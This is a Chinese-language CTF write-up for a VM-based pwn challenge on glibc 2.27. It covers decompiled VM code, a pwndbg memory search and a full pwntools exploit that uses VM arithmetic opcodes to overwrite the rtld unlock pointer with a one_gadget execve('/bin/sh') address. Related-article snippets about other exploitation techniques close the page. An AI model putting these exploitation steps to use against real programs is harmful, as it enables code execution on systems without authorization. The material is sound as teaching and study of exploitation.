记一道有趣的VMware PWN

VSole2021-09-10 18:30:20

题目亮点在于无需泄露libc地址,操控程序内部计算即可进行精准覆盖。

题目信息

题目附件:pwnlibc-2.27.so

radish ➜ nice  checksec pwn[*] '/root/nice/pwn'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabledradish ➜ nice  strings pwn | grep "GCC"GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0radish ➜ nice  ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 7.5.0.libc ABIs: UNIQUE IFUNCFor bug reporting instructions, please see:://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

程序分析

main函数逻辑很简单,先是在bss段上读入一个字符串,然后调用了execve函数

execve函数中实现了一套虚拟指令,提供的功能有加减乘除的赋值运算,并没有其他输出输入的操作

v1 = 0LL;  do  {    while ( 1 )    {      while ( 1 )      {        while ( 1 )        {          while ( 1 )          {            while ( 1 )            {              while ( 1 )              {                v29 = *(&unk_202060 + v1++ + 512);                result = v29;                if ( v29 != 6 )                  break;                v15 = *(&unk_202060 + v1 + 512);                v6 = v1 + 1;                v24 = *(&unk_202060 + v6 + 512);                v1 = v6 + 1;                *(&unk_202060 + v15) *= v24;              }              if ( v29 > 6 )                break;              if ( v29 == 3 )              {                v13 = *(&unk_202060 + v1 + 512);                v4 = v1 + 1;                v22 = *(&unk_202060 + v4 + 512);                v1 = v4 + 1;                *(&unk_202060 + v13) -= v22;              }              else if ( v29 > 3 )              {                v14 = *(&unk_202060 + v1 + 512);                v5 = v1 + 1;                v23 = *(&unk_202060 + v5 + 512);                v1 = v5 + 1;                if ( v29 == 4 )                  *(&unk_202060 + v14) += *(&unk_202060 + v23);                else                  *(&unk_202060 + v14) -= *(&unk_202060 + v23);              }              else if ( v29 == 1 )              {                v11 = *(&unk_202060 + v1 + 512);                v2 = v1 + 1;                v20 = *(&unk_202060 + v2 + 512);                v1 = v2 + 1;                *(&unk_202060 + v11) = v20;              }              else if ( v29 == 2 )              {                v12 = *(&unk_202060 + v1 + 512);                v3 = v1 + 1;                v21 = *(&unk_202060 + v3 + 512);                v1 = v3 + 1;                *(&unk_202060 + v12) += v21;              }            }            if ( v29 != 9 )              break;            v17 = *(&unk_202060 + v1 + 512);            v8 = v1 + 1;            v26 = *(&unk_202060 + v8 + 512);            v1 = v8 + 1;            *(&unk_202060 + *(&unk_202060 + v17)) -= *(&unk_202060 + v26);          }          if ( v29 > 9 )            break;          v16 = *(&unk_202060 + v1 + 512);          v7 = v1 + 1;          v25 = *(&unk_202060 + v7 + 512);          v1 = v7 + 1;          if ( v29 == 7 )            *(&unk_202060 + v16) /= v25;          else            *(&unk_202060 + *(&unk_202060 + v16)) += *(&unk_202060 + v25);        }        if ( v29 != 11 )          break;        v19 = *(&unk_202060 + v1 + 512);        v10 = v1 + 1;        v28 = *(&unk_202060 + v10 + 512);        v1 = v10 + 1;        *(&unk_202060 + v19) -= *(&unk_202060 + *(&unk_202060 + v28));      }      if ( v29 >= 11 )        break;      v18 = *(&unk_202060 + v1 + 512);      v9 = v1 + 1;      v27 = *(&unk_202060 + v9 + 512);      v1 = v9 + 1;      *(&unk_202060 + v18) += *(&unk_202060 + *(&unk_202060 + v27));    }  }  while ( v29 != 0xFF );  return result;}

解题思路

我并没有想到有什么办法可以泄露libc地址,但是可以通过任意地址写,而写的值也是可以通过.bss段上的数据计算得出。我的思路就是劫持__rtld_lock_unlock_recursive

当程序正常退出时,会调用这里的代码。指向此地址的指针(以下称之为指着P)在/lib/x86_64-linux-gnu/ld-2.27.so地址空间中。原理可查看源码glibc/elf/dl-fini.c

通过以下方式找到该指针

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000     0x555555556000 r-xp     2000 0      /root/nice/pwn    0x555555755000     0x555555756000 r--p     1000 1000   /root/nice/pwn    0x555555756000     0x555555757000 rw-p     1000 2000   /root/nice/pwn    0x555555757000     0x55555575a000 rw-p     3000 0      [heap]    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0          0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so    0x7ffff7fdf000     0x7ffff7fe1000 rw-p     2000 0          0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0          0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]pwndbg> p rtld_lock_default_unlock_recursive$1 = {void (void *)} 0x7ffff7dd60f0 pwndbg> search -p 0x7ffff7dd60f0warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d07, halting search.ld-2.27.so      0x7ffff7ffdf68 0x7ffff7dd60f0pwndbg>

修改该指针的思路:

1、修改bss段上stderr的地址为libc基地址,payload = p64(3)+p64(0x10000000000000000-4)+p64(0x3ec680)

2、将指针P的值与One_gadget的偏移填充到0x202060处,供之后劫持指针使用

3、把原stderr地址出修改成0x202008到指针P的偏移加上libc地址。payload += p64(2)+p64(0x10000000000000000-4)+p64(0x619000+3944-88)

为什么要选择0x202008?因为之后修改指针P的值是利用虚拟指令9的功能,之前的操作无法得到地址0x202060到指针P的距离,所以我们只能通过先减去一个程序的地址,然后再加上0x202060和它们之间的填充(也许是负数),就可以通过虚拟指令9的功能进行劫持。

4、继步骤三操作,减去程序的某个地址,这里选用0x202008,因为它在stderr上方附近,便于操作。payload += p64(5)+p64(0x10000000000000000-4)+p64(0x10000000000000000-11)

5、将步骤3的值除8,因为虚拟指令9是通过int64指针进行复制的,所以我们需要计算出Index(类似于数组)。payload += p64(7)+p64(0x10000000000000000-4)+p64(8)

6、进行指针修改并结束程序。payload += p64(9)+p64(0x10000000000000000-4)+p64(0)+p64(0xff)

exp

#coding:utf-8from pwn import *# from LibcSearcher import *#author:萝卜啊啊啊啊啊啊啊context.log_level='debug'debug = 1file_name = './pwn'libc_name = '/lib/x86_64-linux-gnu/libc.so.6'ip = ''prot = ''if debug:    r = process(file_name)    libc = ELF(libc_name)else:    r = remote(ip,int(prot))    libc = ELF(libc_name)
def debug():    gdb.attach(r)    raw_input()
file = ELF(file_name)sl = lambda x : r.sendline(x)sd = lambda x : r.send(x)sla = lambda x,y : r.sendlineafter(x,y)rud = lambda x : r.recvuntil(x,drop=True)ru = lambda x : r.recvuntil(x)li = lambda name,x : log.info(name+':'+hex(x))ri = lambda  : r.interactive()# debug()payload = p64(3)+p64(0x10000000000000000-4)+p64(0x3ec680)payload += p64(1)+p64(0)+p64(3812747-93)payload += p64(2)+p64(0x10000000000000000-4)+p64(0x619000+3944-88)#targtepayload += p64(5)+p64(0x10000000000000000-4)+p64(0x10000000000000000-11)payload += p64(7)+p64(0x10000000000000000-4)+p64(8)payload += p64(9)+p64(0x10000000000000000-4)+p64(0)payload += p64(0xff)sl(payload)ri()'''0x4f365 execve("/bin/sh", rsp+0x40, environ)constraints:  rsp & 0xf == 0  rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL
'''

感觉还有一种解法,就是劫持ret地址,但是没找到合适的栈指针。

Reference

https://www.anquanke.com/post/id/199832

payloadgnu
本作品采用《CC 协议》,转载必须注明作者和本文链接
Bashfuscator是一款完全可配置可扩展的Bash代码混淆框架,该工具专为红队和蓝队研究人员设计,它通过将不同的混淆技术和方法组织到框架内的模块中来实现其功能,而这些技术和方法我们将其称之为“Mutator”。
但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容echo?验证成功,可以看到程序崩溃信息。但是要构造ROP还需要一些gadget,使用ropper搜索
SCTF pwn 方向部分题解
2022-01-10 16:31:14
用”\或者/都可以跳过2个\x00,但是每次用”\会拷贝4个字节到buf中
在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray 果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞 直接使用命令执行payload,结果报出system函数被禁用
前言本文通过多个 poc ,结合ftp协议底层和php源码,分析了在 php 中利用 ftp 伪协议攻击 php-fpm ,从而绕过 disable_functions 的攻击方法,并在文末复现了 [蓝帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
靶机练习-DC-5
2022-10-14 13:52:21
复现过程攻击机:kali 192.168.11.143靶机:Linux IP自动获取攻击机与靶机都使用net网络连接,在同一网段下环境配置:1、Vulhub下载靶机,并导入vmware2、网络配置中选择更改为桥接模式,桥接至kali所在网卡3、重启虚拟机信息收集:先进行主机发现arp-scan -l. 在尝试这几个聊天框的时候发现CopyRight的年份一直在变化。F5刷新几次,仍在刷新说明和上传了留言无关,是其中的copyright自己在变化。返回路径contactus,多次刷新,copyright并没有发生变化。说明问题出在thankyou.php中。
长城杯出了三道题目,除了easy_vm之外剩下的两道都是libc题,一个是libc2.23,一个是libc2.27-1.4。正好可以从这两道题目中看一下新老版本的libc的利用方式。
发现三个开放端口:22,80,330680端口利用发现是一个joomla搭建的网站Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统。
php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
前置知识Intel汇编,栈溢出利用,基础rop链Stack_migration介绍当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。
VSole
网络安全专家